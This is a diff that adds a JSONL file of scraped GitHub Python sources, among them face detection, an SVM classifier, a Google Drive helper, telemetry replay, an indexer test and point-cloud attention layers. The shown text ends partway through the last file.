diff --git "a/5891.jsonl" "b/5891.jsonl"
new file mode 100644--- /dev/null
+++ "b/5891.jsonl"
@@ -0,0 +1,2158 @@
+{"seq_id":"21304076875","text":"import cv2\nimport sys\n\ntry:\n    imagePath = sys.argv[1]\n    scaleFactor = float(sys.argv[2])\n    # cascPath = sys.argv[2]\n    # cascPath = \"/usr/local/Cellar/opencv/3.4.3/share/OpenCV/haarcascades/haarcascade_frontalface_default.xml\"\n    cascPath = \"haarcascade_frontalface_default.xml\"\n\n    # Create the haar cascade\n    faceCascade = cv2.CascadeClassifier(cascPath)\n\n    # Read the image\n    image = cv2.imread(imagePath)\n    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n\n    # Detect faces in the image\n    faces = faceCascade.detectMultiScale(\n        gray,\n        scaleFactor = scaleFactor,\n        minNeighbors = 5,\n        minSize = (30, 30),\n        flags = 0\n    )\n\n    print(\"Found {0} faces!\".format(len(faces)))\n\n    # Draw a rectangle around the faces\n    for (x, y, w, h) in faces:\n        cv2.rectangle(image, (x, y), (x+w, y+h), (0, 255, 0), 2)\n\n\n    cv2.imshow(\"Faces found\", image)\n    cv2.waitKey(0)\n    cv2.destroyAllWindows()\n    \nexcept Exception as e:\n    print('Los parámetros que deben enviarse son: \\n(1) el path de la imagen \\n(2) el factor de escala (float).')\n    print('Detalle del error: ', e)\n\n\n","repo_name":"paolodoors/face_recognition_ocv","sub_path":"face_detect.py","file_name":"face_detect.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6820939164","text":"import sklearn, nltk\nfrom sklearn import svm\nfrom sklearn.metrics import accuracy_score\nimport numpy as np\nimport sys\nimport copy\nfp=open('connect-4.data', 'r')\ndata=fp.read().strip().split()\nfp.close()\n\n#Vectorize data.\nGame=[]\nOutcome=[]\nfor x in data:\n\ty = x.split(',')\n\tif y[-1] == 'win':\n\t\tOutcome.append(1)\n\telif y[-1] == 'loss':\n\t\tOutcome.append(-1)\n\telif y[-1] == 'draw':\n\t\tOutcome.append(0)\n\ty = y[:-1]\n\ttemp=[]\n\tfor stuff in y:\n\t\tif stuff == 'x':\n\t\t\ttemp.append(1)\n\t\telif stuff == 'b':\n\t\t\ttemp.append(0)\n\t\telif stuff == 'o':\n\t\t\ttemp.append(-1)\n\tGame.append(temp)\n\n#Vectorization of data complete! Game contains feature vectors and Outcome contains the outcomes\nVGame=[[],[],[],[],[],[]]\nVOutcome=[[],[],[],[],[],[]]\nl = len(Game)\nvl=int(l/5)+1\nfor i in range(l):\n\tt=int(i/vl)\n\tx=Game[i]\n\ty=Outcome[i]\n\tVGame[t].append(x)\n\tVOutcome[t].append(y)\n\nclfw = svm.LinearSVC(loss='hinge')\nclfd = svm.LinearSVC(loss='hinge')\nclfl = svm.LinearSVC(loss='hinge')\n\n#create learning sets for 3 classifiers\nfor vpart in range(5):\n\t# print(\"Validating part \"+str(vpart))\n\t#win classifier\n\tgw=[]\n\tow=[]\n\t#draw classifier\n\tgd=[]\n\tod=[]\n\t#loss classifier\n\tgl=[]\n\tol=[]\n\n\t#Extract Test data\n\tPred=[]\n\tOTest=copy.deepcopy(VOutcome[vpart])\n\tGTest=copy.deepcopy(VGame[vpart])\n\t#Create Training sets for 3 classifiers!\n\tfor z in range(5):\n\t\t# print(\"z = \"+str(z))\n\t\tif z == vpart:\n\t\t\tcontinue\n\t\telse:\n\t\t\t# print(len(VGame[z]))\n\t\t\tO=copy.deepcopy(VOutcome[z])\n\t\t\tG=copy.deepcopy(VGame[z])\n\t\t\t# print(str(len(VGame[z]))+\" \"+str(len(G)))\n\t\t\tfor i in range(len(O)):\n\t\t\t\tif O[i] == 1:\n\t\t\t\t\tgw.append(G[i])\n\t\t\t\t\tgd.append(G[i])\n\t\t\t\t\tgl.append(G[i])\n\t\t\t\t\tow.append(1)\n\t\t\t\t\tod.append(0)\n\t\t\t\t\tol.append(0)\n\t\t\t\tif O[i] == 0:\n\t\t\t\t\tgw.append(G[i])\n\t\t\t\t\tgd.append(G[i])\n\t\t\t\t\tgl.append(G[i])\n\t\t\t\t\tow.append(0)\n\t\t\t\t\tod.append(1)\n\t\t\t\t\tol.append(0)\n\t\t\t\tif O[i] == -1:\n\t\t\t\t\tgw.append(G[i])\n\t\t\t\t\tgd.append(G[i])\n\t\t\t\t\tgl.append(G[i])\n\t\t\t\t\tow.append(0)\n\t\t\t\t\tod.append(0)\n\t\t\t\t\tol.append(1)\n\tclfw.fit(gw,ow)\n\tclfd.fit(gd,od)\n\tclfl.fit(gl,ol)\n\tPred1 = clfw.decision_function(GTest)\n\tPred2 = clfl.decision_function(GTest)\n\tPred3 = clfd.decision_function(GTest)\n\ttemparr.append(Pred1)\n\tfor x in range(len(Pred1)):\n\t\ttemparr=[]\n\t\ttemparr.append(Pred1[x])\n\t\ttemparr.append(Pred2[x])\n\t\ttemparr.append(Pred3[x])\n\t\t# print(temparr)\n\t\tmaxarg = np.argmax(temparr)\n\t\tif maxarg==0:\n\t\t\tPred.append(1)\n\t\tif maxarg==1:\n\t\t\tPred.append(0)\n\t\tif maxarg==2:\n\t\t\tPred.append(-1)\n\n\taccuracy = accuracy_score(OTest, Pred)\n\tprint(accuracy)\n","repo_name":"divush/MLT-Assignments","sub_path":"A2/Q2/restconnect.py","file_name":"restconnect.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35498598931","text":"from __future__ import print_function\nimport pickle, io, random, string\nimport os.path\nfrom googleapiclient.discovery import build\nfrom googleapiclient.http import MediaIoBaseDownload, MediaFileUpload\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\n\nclass drive:\n    def setService(self):\n        # change to the subfolder where the credentials (should be) are\n        dir = os.getcwd()\n        os.chdir(dir + '\\myDrive')\n\n        creds = None\n        # The file token.pickle stores the user's access and refresh tokens, and is\n        # created automatically when the authorization flow completes for the first\n        # time.\n        if os.path.exists('token.pickle'):\n            with open('token.pickle', 'rb') as token:\n                creds = pickle.load(token)\n        # If there are no (valid) credentials available, let the user log in.\n        if not creds or not creds.valid:\n            if creds and creds.expired and creds.refresh_token:\n                creds.refresh(Request())\n            else:\n                # get credentials.json\n                flow = InstalledAppFlow.from_client_secrets_file(\n                    'credentials.json', self.SCOPES)\n                creds = flow.run_local_server(port=0)\n\n            # Save the credentials for the next run\n            with open('token.pickle', 'wb') as token:\n                pickle.dump(creds, token)\n\n        # change back directories\n        os.chdir(dir)\n        \n        return build('drive', 'v3', credentials=creds)\n\n    def printLastFiles(self, num=10):\n        # Call the Drive v3 API\n        results = self.service.files().list(\n            pageSize=num, fields=\"nextPageToken, files(id, name)\").execute()\n        items = results.get('files', [])\n\n        if not items:\n            print('No files found.')\n        else:\n            print('Files:')\n            for item in items:\n                print(u'{0} ({1})'.format(item['name'], item['id']))\n\n    def getFileIdByName(self, fileName):\n        query = \"name='\" + fileName + \"'\"\n        page_token = None\n        while True:\n            response = self.service.files().list(q=query,\n                                                spaces='drive',\n                                                fields='nextPageToken, files(id, name)',\n                                                pageToken=page_token).execute()\n            for file in response.get('files', []):\n                # Process change\n                return file.get('id')\n            page_token = response.get('nextPageToken', None)\n            if page_token is None:\n                break\n\n    def downloadFileById(self, id, path):\n        file_id = str(id)\n        request = self.service.files().get_media(fileId=file_id)\n        fh = io.FileIO(path + self.randomStringName(6) + self.downloadExtension, 'wb')\n        downloader = MediaIoBaseDownload(fh, request)\n        done = False\n        while done is False:\n            status, done = downloader.next_chunk()\n            print (\"Download %d%%.\" % int(status.progress() * 100))\n\n    # find id of the buffer folder and get the ids of the files inside\n    def getFolderIdByName(self, folderName):\n        # get the folder id by folder name\n        folderQuery = \"mimeType = 'application/vnd.google-apps.folder' and \" +\"name='\" + folderName + \"'\"\n        response = self.service.files().list(q=folderQuery,\n                                                spaces='drive',\n                                                fields='nextPageToken, files(id, name)').execute()\n        folder = response.get('files', [])[0]\n        if not folder:\n            print('No folders with name ' + folderName + ' found.')\n        else:\n            folderID = folder.get('id')\n            print('Folder ID: ' +  folderID)\n        return folderID\n        \n    def getIdFilesFromFolder(self, folderID):\n        # once you have the folder id, get the ids of all the files inside\n        folderContentQuery = \"mimeType='image/jpeg' and '\" + folderID +\"' in parents\"\n        page_token = None\n        id_array = []\n        while True:\n            response = self.service.files().list(q=folderContentQuery,\n                                                spaces='drive',\n                                                fields='nextPageToken, files(id, name)',\n                                                pageToken=page_token).execute()\n            for file in response.get('files', []):\n                print ('Found file: %s (%s)' % (file.get('name'), file.get('id')))\n                id_array.append(file.get('id'))\n            page_token = response.get('nextPageToken', None)\n            if page_token is None:\n                break\n        return id_array\n\n    def randomStringName(self, N):\n        return ''.join(random.choices(string.ascii_lowercase + string.digits, k=N))\n\n    def uploadFile(self, fileToUpload, folderID):\n        fileBaseName = os.path.basename(fileToUpload)\n        mime = 'image/png'\n        if(os.path.splitext(fileBaseName)[1] == '.mp4'):\n            mime = 'video/mp4'\n        \n        file_metadata = {'name': fileBaseName,\n                        'parents' : [folderID]}\n        media = MediaFileUpload(fileToUpload, mimetype=mime)\n        file = self.service.files().create(body=file_metadata,\n                                            media_body=media,\n                                            fields='id').execute()\n        print ('Uploaded file ID: %s' % file.get('id'))\n\n    def deleteFileById(self, file_id):\n        try:\n            self.service.files().delete(fileId=file_id).execute()\n        except:\n            print(\"Could not delete file\")\n    \n    def __init__(self):\n        # If modifying these scopes, delete the file token.pickle.\n        self.SCOPES = ['https://www.googleapis.com/auth/drive']\n        self.downloadExtension = \".jpg\"\n        self.service = self.setService()\n","repo_name":"angelolmg/python-auto-painter","sub_path":"myDrive/gdriveservice.py","file_name":"gdriveservice.py","file_ext":"py","file_size_in_byte":5924,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"10032718542","text":"import threading\nimport time\n\nEVENT_TYPES = [\"accelx\",\"accely\",\"accelz\",\"gyrox\",\"gyroy\",\"gyroz\",\"gps\",\"altitude\",\"temp\",\"battery\"]\n\ndef timeMs():\n\treturn int(time.time()*1000)\n\nclass ReplayThread(threading.Thread):\n\tdef __init__(self, teleManager, looped):\n\t\tsuper(ReplayThread, self).__init__(daemon=True)\n\t\tself.looped = looped;\n\t\tself.telemetry = teleManager\n\n\tdef newMessages(self,mint,maxt):\n\t\tevents = []\n\t\tfor val in EVENT_TYPES:\n\t\t\tevents += self.telemetry.serviceRequest(val,mint,maxt)\n\t\treturn events\n\n\tdef doReplay(self, startTime):\n\t\tlastTime = -float(\"inf\")\n\t\tendTime = self.telemetry.maxTime()\n\t\twhile True:\n\t\t\ttime.sleep(0.01) # Run every ~10 ms\n\t\t\tnewTime = timeMs()-startTime\n\t\t\tself.telemetry.updateHistoryMask(None,newTime);\n\t\t\tnewData = self.newMessages(lastTime+1,startTime)\n\t\t\t# print(\"{:d} new data points for time {:d}\".format(len(newData),newTime))\n\t\t\tself.telemetry.socket.emit(\"telemetry\",[e.data for e in newData])\n\t\t\tlastTime = newTime\n\t\t\tif newTime > endTime:\n\t\t\t\tbreak\n\n\tdef run(self):\n\t\tself.telemetry.updateHistoryMask(None,-float('inf'));\n\t\twhile True:\n\t\t\ttime.sleep(5)\n\t\t\tself.doReplay(timeMs())\n\t\t\tif not self.looped:\n\t\t\t\tbreak","repo_name":"rensselaer-rocket-society/TelemetryUnit","sub_path":"Ground Station/LiveReplay.py","file_name":"LiveReplay.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33863850791","text":"\"\"\"Tests for yahoo_dataset_indexer.\"\"\"\n\nimport yahoo_dataset_indexer\nimport unittest\nfrom Whoosh import loadIndex, loadCollector, loadQueryParser\nfrom whoosh.fields import Schema, TEXT\nimport os\nfrom whoosh.analysis import StemmingAnalyzer\n\n\nclass YahooDatasetIndexerTest(unittest.TestCase):\n\n  def test_create_index(self):\n    stem_analyzer = StemmingAnalyzer()\n    test_folder_to_index = 'test-folder'\n    test_index_name = 'test-index'\n    if not os.path.exists(test_folder_to_index):\n      os.mkdir(test_folder_to_index)\n\n    # Index 1 question.\n    ofile = open(test_folder_to_index + '/question_indexer_test.xml', 'w')\n    ofile.write(\n        '<document><uri>432470</uri> <subject>Why are yawns contagious?</subject>\\\n    <content> When people yawn, you see that other people in the room yawn, too. Why is that?</content>\\\n    <bestanswer>When your body </bestanswer></document>')\n    ofile.close()\n\n    yahoo_dataset_indexer.IndexYahooQuestionsWithWhoosh(test_folder_to_index,\n                                                        test_index_name)\n    questions_index, questions_searcher = loadIndex(test_index_name,\n                                                    test_index_name)\n    # Check the schema.\n    expected_schema = Schema(question_tokens=TEXT(analyzer=stem_analyzer,\n                                      stored=False,\n                                      phrase=False),\n                        question_text=TEXT(analyzer=stem_analyzer,\n                                      stored=True,\n                                      phrase=False),\n                        answers=TEXT(analyzer=stem_analyzer,\n                                     stored=False,\n                                     phrase=False))\n    self.assertEqual(expected_schema, questions_index.schema)\n    # Check the number of documents.\n    self.assertEqual(1, questions_index.doc_count())\n    # Check the number of terms in question and answer fields.\n    expected_question_terms = ['contagi', 'yawn']\n    i = 0\n    for question_terms_tuple in questions_index.reader().iter_field('question_tokens'):\n      self.assertEqual(question_terms_tuple[0], expected_question_terms[i])\n      i += 1\n    expected_answer_terms = ['bodi']\n    i = 0\n    for answer_terms_tuple in questions_index.reader().iter_field('answers'):\n      self.assertEqual(answer_terms_tuple[0], expected_answer_terms[i])\n      i += 1\n\n  def test_search_index(self):\n    pass\n\n\nif __name__ == '__main__':\n  unittest.main()\n","repo_name":"vmanisha/QueryExpansion","sub_path":"questions/yahoo_dataset_indexer_test.py","file_name":"yahoo_dataset_indexer_test.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"27628118830","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\n\r\nfrom modules.linear_attention import LinearAttention\r\n\r\nclass Self_Attention(nn.Module):\r\n    def __init__(self,\r\n                 d_model,\r\n                 nhead,\r\n                 attention='linear'):\r\n        super(Self_Attention, self).__init__()\r\n\r\n        self.dim = d_model // nhead\r\n        self.nhead = nhead\r\n\r\n        # position encoding\r\n        self.pos_mlp = nn.Sequential(\r\n            nn.Linear(3, d_model),\r\n            nn.ReLU(),\r\n            nn.Linear(d_model, d_model)\r\n        )\r\n\r\n        # multi-head attention\r\n        self.q_proj = nn.Linear(d_model, d_model, bias=False)\r\n        self.k_proj = nn.Linear(d_model, d_model, bias=False)\r\n        self.v_proj = nn.Linear(d_model, d_model, bias=False)\r\n        self.attention = LinearAttention()\r\n        self.merge = nn.Linear(d_model, d_model, bias=False)\r\n\r\n        # feed-forward network\r\n        self.mlp = nn.Sequential(\r\n            nn.Linear(d_model*2, d_model*2, bias=False),\r\n            nn.ReLU(True),\r\n            nn.Linear(d_model*2, d_model, bias=False),\r\n        )\r\n\r\n        # norm and dropout\r\n        self.norm1 = nn.LayerNorm(d_model)\r\n        self.norm2 = nn.LayerNorm(d_model)\r\n\r\n    def forward(self, feat, xyz, mask=None):\r\n        \"\"\"\r\n        Args:\r\n            feat (torch.Tensor):    [B, C, N]\r\n            xyz (torch.Tensor):     [B, N, 3]\r\n            mask (torch.Tensor):    [B, N] (optional)\r\n        \"\"\"\r\n        bs = feat.size(0)\r\n        feat = feat.permute(0, 2, 1)\r\n        feat_pos = feat + self.pos_mlp(xyz)\r\n\r\n        # multi-head attention\r\n        query = self.q_proj(feat_pos).view(bs, -1, self.nhead, self.dim)                # [B, N, (H, D)]\r\n        key = self.k_proj(feat_pos).view(bs, -1, self.nhead, self.dim)                  # [B, N, (H, D)]\r\n        value = self.v_proj(feat_pos).view(bs, -1, self.nhead, self.dim)                # [B, N, (H, D)]\r\n\r\n        message = self.attention(query, key, value, q_mask=mask, kv_mask=mask)      # [B, N, (H, D)]\r\n        message = self.merge(message.view(bs, -1, self.nhead*self.dim))             # [B, N, C=H*D]\r\n        message = self.norm1(message)                                               # [B, N, C=H*D]\r\n\r\n        # feed-forward network\r\n        message = self.mlp(torch.cat([feat, message], dim=2))                       # [B, N, C=H*D]\r\n        message = self.norm2(message)                                               # [B, N, C=H*D]\r\n\r\n        return (feat + message).permute(0, 2, 1)    # [B, C, N]\r\n\r\ndef farthest_point_sample(xyz, npoint):\r\n    \"\"\"\r\n    Input:\r\n        xyz: pointcloud data, [B, N, 3]\r\n        npoint: number of samples\r\n    Return:\r\n        centroids: sampled pointcloud index, [B, npoint]\r\n    \"\"\"\r\n    device = xyz.device\r\n    B, N, C = xyz.shape\r\n    centroids = torch.zeros(B, npoint, dtype=torch.long).to(device)\r\n    distance = torch.ones(B, N).to(device) * 1e10\r\n    farthest = torch.randint(0, N, (B,), dtype=torch.long).to(device)\r\n    batch_indices = torch.arange(B, dtype=torch.long).to(device)\r\n    for i in range(npoint):\r\n        centroids[:, i] = farthest\r\n        centroid = xyz[batch_indices, farthest, :].view(B, 1, 3)\r\n        dist = torch.sum((xyz - centroid) ** 2, -1)\r\n        mask = dist < distance\r\n        distance[mask] = dist[mask]\r\n        farthest = torch.max(distance, -1)[1]\r\n    return centroids\r\n\r\ndef random_point_sample(xyz, npoint):\r\n    \"\"\"\r\n    Input:\r\n        xyz: pointcloud data, [B, N, 3]\r\n        npoint: number of samples\r\n    Return:\r\n        centroids: random sampled pointcloud index, [B, npoint]\r\n    \"\"\"\r\n    device = xyz.device\r\n    centroids = torch.arange(npoint, dtype=torch.long).to(device).repeat(xyz.size(0), 1)\r\n    return centroids\r\n\r\ndef index_points(points, idx):\r\n    \"\"\"\r\n\r\n    Input:\r\n        points: input points data, [B, N, C]\r\n        idx: sample index data, [B, S]\r\n    Return:\r\n        new_points:, indexed points data, [B, S, C]\r\n    \"\"\"\r\n    device = points.device\r\n    B = points.shape[0]\r\n    view_shape = list(idx.shape)\r\n    view_shape[1:] = [1] * (len(view_shape) - 1)\r\n    repeat_shape = list(idx.shape)\r\n    repeat_shape[0] = 1\r\n    batch_indices = torch.arange(B, dtype=torch.long).to(device).view(view_shape).repeat(repeat_shape)\r\n    new_points = points[batch_indices, idx, :]\r\n    return new_points\r\n\r\ndef square_distance(src, dst):\r\n    \"\"\"\r\n    Calculate Euclid distance between each two points.\r\n\r\n    src^T * dst = xn * xm + yn * ym + zn * zm；\r\n    sum(src^2, dim=-1) = xn*xn + yn*yn + zn*zn;\r\n    sum(dst^2, dim=-1) = xm*xm + ym*ym + zm*zm;\r\n    dist = (xn - xm)^2 + (yn - ym)^2 + (zn - zm)^2\r\n         = sum(src**2,dim=-1)+sum(dst**2,dim=-1)-2*src^T*dst\r\n\r\n    Input:\r\n        src: source points, [B, N, C]\r\n        dst: target points, [B, M, C]\r\n    Output:\r\n        dist: per-point square distance, [B, N, M]\r\n    \"\"\"\r\n    B, N, _ = src.shape\r\n    _, M, _ = dst.shape\r\n    dist = -2 * torch.matmul(src, dst.permute(0, 2, 1))\r\n    dist += torch.sum(src ** 2, -1).view(B, N, 1)\r\n    dist += torch.sum(dst ** 2, -1).view(B, 1, M)\r\n    return dist\r\n\r\ndef topk(input, k, dim=None, largest=True, sorted=True):\r\n    if dim is None:\r\n        dim = -1\r\n    if dim < 0:\r\n        dim += input.ndim\r\n    \r\n    transpose_dims = [i for i in range(input.ndim)]\r\n    transpose_dims[0] = dim\r\n    transpose_dims[dim] = 0\r\n    input = input.permute(transpose_dims)\r\n    index = torch.argsort(input, dim=0, descending=largest)\r\n    indices = index[:k]\r\n    indices = indices.permute(transpose_dims)\r\n    return [None, indices]\r\n\r\ndef knn_point(nsample, xyz, new_xyz):\r\n    \"\"\"\r\n    Input:\r\n        nsample: max sample number in local region\r\n        xyz: all points, [B, N, C]\r\n        new_xyz: query points, [B, S, C]\r\n    Return:\r\n        group_idx: grouped points index, [B, S, nsample]\r\n    \"\"\"\r\n    sqrdists = square_distance(new_xyz, xyz)\r\n    _, group_idx = topk(sqrdists, nsample, dim = -1, largest=False, sorted=False)\r\n    return group_idx\r\n\r\ndef query_ball_point(radius, nsample, xyz, new_xyz):\r\n    \"\"\"\r\n    Input:\r\n        radius: local region radius\r\n        nsample: max sample number in local region\r\n        xyz: all points, [B, N, 3]\r\n        new_xyz: query points, [B, S, 3]\r\n    Return:\r\n        group_idx: grouped points index, [B, S, nsample]\r\n    \"\"\"\r\n    device = xyz.device\r\n    B, N, C = xyz.shape\r\n    _, S, _ = new_xyz.shape\r\n\r\n    group_idx = torch.arange(N, dtype=torch.long).to(device).view(1, 1, N).repeat(B, S, 1)\r\n\r\n    sqrdists = square_distance(new_xyz, xyz)\r\n    group_idx[sqrdists > radius ** 2] = N\r\n    group_idx = group_idx.sort(dim=-1)[0][:, :, :nsample]\r\n    group_first = group_idx[:, :, 0].view(B, S, 1).repeat([1, 1, nsample])\r\n    mask = group_idx == N\r\n    group_idx[mask] = group_first[mask]\r\n    return group_idx\r\n\r\ndef sample_and_group_edge(npoint, radius, nsample, xyz, points, sampling, numpoints, returnfps=False, use_knn=False):\r\n    \"\"\"\r\n    Input:\r\n        npoint:\r\n        radius:\r\n        nsample:\r\n        xyz: input points position data, [B, N, 3]\r\n        points: input points data, [B, N, D]\r\n    Return:\r\n        new_xyz: sampled points position data, [B, npoint, nsample, 3]\r\n        new_points: sampled points data, [B, npoint, nsample, 3+D]\r\n    \"\"\"\r\n    B, N, C = xyz.shape\r\n    S = numpoints\r\n\r\n    if sampling == \"FPS\":\r\n        fps_idx = farthest_point_sample(xyz, numpoints) # [B, numpoints]\r\n    elif sampling == \"RANDOM\":\r\n        fps_idx = random_point_sample(xyz, numpoints) # [B, numpoints]\r\n\r\n    new_xyz = index_points(xyz, fps_idx)                    # B x S x 3\r\n    \r\n    if use_knn:\r\n        idx = knn_point(nsample, xyz, new_xyz)\r\n    else:\r\n        idx = query_ball_point(radius, nsample, xyz, new_xyz)   # B x S x K\r\n\r\n    grouped_xyz = index_points(xyz, idx)                        # B x S x k x 3\r\n    grouped_xyz_norm = grouped_xyz - new_xyz.view(B, S, 1, C)   # B x S x k x 3\r\n\r\n    if points is not None:\r\n        # points:           B x N x D\r\n        # fps_idx:          B x S\r\n        # center_points:    B x S x D\r\n        center_points = index_points(points, fps_idx)           # B x S x D\r\n        grouped_points = index_points(points, idx)\r\n\r\n        new_points = torch.cat([grouped_xyz_norm, \r\n                                center_points.unsqueeze(2).repeat([1, 1, nsample, 1]),\r\n                                grouped_points-center_points.unsqueeze(2)],\r\n                            dim=-1)\r\n    else:\r\n        new_points = grouped_xyz_norm\r\n    if returnfps:\r\n        return new_xyz, new_points, grouped_xyz, fps_idx\r\n    else:\r\n        return new_xyz, new_points\r\n\r\ndef sample_and_group_all(xyz, points):\r\n    \"\"\"\r\n    Input:\r\n        xyz: input points position data, [B, N, 3]\r\n        points: input points data, [B, N, D]\r\n    Return:\r\n        new_xyz: sampled points position data, [B, 1, 3]\r\n        new_points: sampled points data, [B, 1, N, 3+D]\r\n    \"\"\"\r\n    device = xyz.device\r\n    B, N, C = xyz.shape\r\n    new_xyz = torch.zeros(B, 1, C).to(device)\r\n    grouped_xyz = xyz.view(B, 1, N, C)\r\n    if points is not None:\r\n        new_points = torch.cat([grouped_xyz, points.view(B, 1, N, -1)], dim=-1)\r\n    else:\r\n        new_points = grouped_xyz\r\n    return new_xyz, new_points\r\n\r\nclass PointNetSetAbstractionEdgeSA(nn.Module):\r\n    def __init__(self, npoint, radius, nsample, mlp, sampling, use_xyz=True, group_all=False, use_knn=False):\r\n        super(PointNetSetAbstractionEdgeSA, self).__init__()\r\n        self.npoint = npoint\r\n        self.radius = radius\r\n        self.nsample = nsample\r\n        self.use_xyz = use_xyz\r\n        self.sampling = sampling\r\n        self.use_knn = use_knn\r\n\r\n        self.mlp_convs = nn.ModuleList()\r\n        self.mlp_bns = nn.ModuleList()\r\n\r\n        if self.use_xyz:\r\n            mlp[0] += 3\r\n\r\n        last_channel = mlp[0]\r\n        for out_channel in mlp[1:]:\r\n            self.mlp_convs.append(nn.Conv2d(last_channel, out_channel, 1))\r\n            self.mlp_bns.append(nn.BatchNorm2d(out_channel))\r\n            last_channel = out_channel\r\n        self.group_all = group_all\r\n        self.self_attention = Self_Attention(last_channel, 2, 'linear')\r\n\r\n    def forward(self, xyz, points, numpoints):\r\n        \"\"\"\r\n        Input:\r\n            xyz: input points position data, [B, N, 3]\r\n            points: input points data, [B, D, N]\r\n        Return:\r\n            new_xyz: sampled points position data, [B, S, 3]\r\n            new_points_concat: sample points feature data, [B, D', S]\r\n        \"\"\"\r\n        # xyz = xyz.permute(0, 2, 1)    # le\r\n        if points is not None:\r\n            points = points.permute(0, 2, 1)    # BxNxD\r\n\r\n        if self.group_all:\r\n            new_xyz, new_points = sample_and_group_all(xyz, points)\r\n        else:\r\n            new_xyz, new_points = sample_and_group_edge(self.npoint, self.radius, self.nsample, xyz, points, self.sampling, numpoints, False, self.use_knn)\r\n\r\n        new_points = new_points.permute(0, 3, 1, 2)     # [B, D, numpoints, nsample]\r\n        \r\n        for i, conv in enumerate(self.mlp_convs):\r\n            bn = self.mlp_bns[i]\r\n            new_points =  F.relu(bn(conv(new_points)))\r\n\r\n        new_points = torch.max(new_points, 3)[0]        # B x D x numpoints\r\n\r\n        new_points = self.self_attention(new_points, new_xyz)\r\n        return new_xyz, new_points\r\n\r\nclass FP_SA(nn.Module):\r\n    def __init__(self,\r\n                 last_channel,\r\n                 feat1_dim,     # B x C1 x N\r\n                 feat2_dim,     # B x C2 x S\r\n                 d_model,\r\n                 out_dim,\r\n                 nhead,\r\n                 attention='linear'):\r\n        super(FP_SA, self).__init__()\r\n\r\n        self.dim = d_model // nhead\r\n        self.nhead = nhead\r\n\r\n        # position encoding\r\n        # self.pos_mlp1 = nn.Sequential(\r\n        #     nn.Linear(3, d_model),\r\n        #     nn.ReLU(),\r\n        #     nn.Linear(d_model, feat1_dim)\r\n        # )\r\n\r\n        self.pos_mlp2 = nn.Sequential(\r\n            nn.Linear(3, d_model),\r\n            nn.ReLU(),\r\n            nn.Linear(d_model, feat2_dim)\r\n        )\r\n\r\n        # multi-head attention\r\n        self.q_proj = nn.Linear(feat1_dim, d_model, bias=False)         # feat1\r\n        self.k_proj = nn.Linear(feat2_dim, d_model, bias=False)         # feat2\r\n        self.v_proj = nn.Linear(feat2_dim, d_model, bias=False)         # feat2\r\n        self.attention = LinearAttention()\r\n        self.merge = nn.Linear(d_model, d_model, bias=False)\r\n\r\n        # feed-forward network\r\n        self.mlp = nn.Sequential(\r\n            nn.Linear(feat1_dim+d_model, d_model*2, bias=False),\r\n            nn.ReLU(True),\r\n            nn.Linear(d_model*2, out_dim, bias=False),\r\n        )\r\n\r\n        # norm and dropout\r\n        self.norm1 = nn.LayerNorm(d_model)\r\n        self.norm2 = nn.LayerNorm(out_dim)\r\n\r\n    def forward(self, feat1, xyz1, feat2, xyz2, mask=None):\r\n        \"\"\"\r\n        Args:\r\n            feat1 (torch.Tensor):    [B, C1, N]\r\n            xyz1 (torch.Tensor):     [B, N, 3]\r\n            feat2 (torch.Tensor):    [B, C2, S]\r\n            xyz2 (torch.Tensor):     [B, S, 3]\r\n            mask (torch.Tensor):    [B, N] (optional)\r\n        \"\"\"\r\n        bs = feat1.size(0)\r\n\r\n        feat1 = feat1.permute(0, 2, 1)  # [B, N, C1]\r\n        feat2 = feat2.permute(0, 2, 1)  # [B, S, C2]\r\n\r\n        # feat1 = feat1 + self.pos_mlp1(xyz1)\r\n        feat2_pos = feat2 + self.pos_mlp2(xyz2)\r\n\r\n        # multi-head attention\r\n        query = self.q_proj(feat1).view(bs, -1, self.nhead, self.dim)            # [B, N, (H, D)]\r\n        key = self.k_proj(feat2).view(bs, -1, self.nhead, self.dim)              # [B, N, (H, D)]\r\n        value = self.v_proj(feat2_pos).view(bs, -1, self.nhead, self.dim)            # [B, N, (H, D)]\r\n\r\n        message = self.attention(query, key, value, q_mask=None, kv_mask=None)      # [B, N, (H, D)]\r\n        message = self.merge(message.view(bs, -1, self.nhead*self.dim))             # [B, N, C=H*D]\r\n        message = self.norm1(message)                                               # [B, N, C=H*D]\r\n\r\n        # feed-forward network\r\n        message = self.mlp(torch.cat([feat1, message], dim=2))                      # [B, N, C=H*D]\r\n        message = self.norm2(message)\r\n\r\n        return message.permute(0, 2, 1)         # [B, C, N]\r\n\r\nclass PointNetFeaturePropagationSA(nn.Module):\r\n    def __init__(self, mlp, mlp_inte):\r\n        super(PointNetFeaturePropagationSA, self).__init__()\r\n        self.mlp_convs = nn.ModuleList()\r\n        self.mlp_bns = nn.ModuleList()\r\n        \r\n        last_channel = mlp[0]\r\n        for out_channel in mlp[1:]:\r\n            self.mlp_convs.append(nn.Conv1d(last_channel, out_channel, 1))\r\n            self.mlp_bns.append(nn.BatchNorm1d(out_channel))\r\n            last_channel = out_channel\r\n\r\n        self.interpolation = FP_SA(\r\n                                    last_channel=mlp_inte[0],\r\n                                    feat1_dim=mlp_inte[1],\r\n                                    feat2_dim=mlp_inte[2],\r\n                                    d_model=mlp_inte[3],\r\n                                    out_dim=mlp_inte[4],\r\n                                    nhead=2,\r\n                                    attention='linear')\r\n\r\n    def forward(self, xyz1, xyz2, points1, points2):\r\n        \"\"\"\r\n        Input:\r\n            xyz1: input points position data, [B, N, C]\r\n            xyz2: sampled input points position data, [B, S, C]\r\n            points1: input points data, [B, D, N]\r\n            points2: input points data, [B, D, S]\r\n        Return:\r\n            new_points: upsampled points data, [B, D', N]\r\n        \"\"\"\r\n        